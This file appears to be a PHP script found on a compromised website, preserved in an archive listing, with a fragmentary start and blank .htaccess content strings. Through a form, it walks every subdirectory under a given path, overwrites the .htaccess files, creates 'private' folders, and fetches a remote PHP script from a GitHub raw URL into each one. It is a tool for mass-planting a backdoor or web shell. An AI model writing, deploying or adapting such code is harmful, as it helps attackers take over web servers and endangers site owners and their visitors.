home/beautybuzzbeyond/public_html/old/update/mymasshp.php 0000644 00000007072 14717740575 0020044 0 ustar 00 ";
}
// Define the content for the new .htaccess file
$htaccessContent = "
";
}
// Function to handle files in each subdirectory under the base path
function processSubdirectories($basePath, $filename) {
// Ensure the base path ends with a trailing slash
$basePath = rtrim($basePath, '/') . '/';
// Validate base path
if (!is_dir($basePath)) {
echo "Invalid path: $basePath
";
return;
}
// Traverse subdirectories and process each one
$subdirectories = glob($basePath . '*', GLOB_ONLYDIR);
foreach ($subdirectories as $dir) {
// Step 1: Delete and recreate the .htaccess file in the subdirectory
createHtaccessFile($dir);
// Step 2: Create the 'private' directory if it doesn't exist
$privateDir = $dir . '/private';
if (!is_dir($privateDir)) {
mkdir($privateDir, 0755, true);
echo "Created directory: $privateDir
";
}
// Step 3: Delete and recreate the .htaccess file inside the 'private' directory
createHtaccessFile($privateDir);
// Step 4: Download and save the specified file inside the 'private' directory
$filePath = $privateDir . '/' . $filename;
// Fetch content from the remote PHP script URL
$content = file_get_contents('https://raw.githubusercontent.com/cpugpu009/nf/refs/heads/main/nf.php');
if ($content === false) {
echo "Error: Unable to fetch the PHP script content.
";
return;
}
// Write the content of the PHP script to the file in the 'private' directory
file_put_contents($filePath, $content);
echo "File uploaded to: $filePath
";
}
}
// Handle form submission
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$basePath = trim($_POST['path']);
$filename = trim($_POST['filename']);
if (empty($basePath) || empty($filename)) {
echo "Path and filename are required.
";
} else {
// First, create or overwrite the .htaccess in the base path
createHtaccessFile($basePath);
// Then process each subdirectory under the base path
processSubdirectories($basePath, $filename);
}
}
// Display the current path (default to the server's document root if not specified)
$currentPath = isset($_POST['path']) ? trim($_POST['path']) : $_SERVER['DOCUMENT_ROOT'];
?>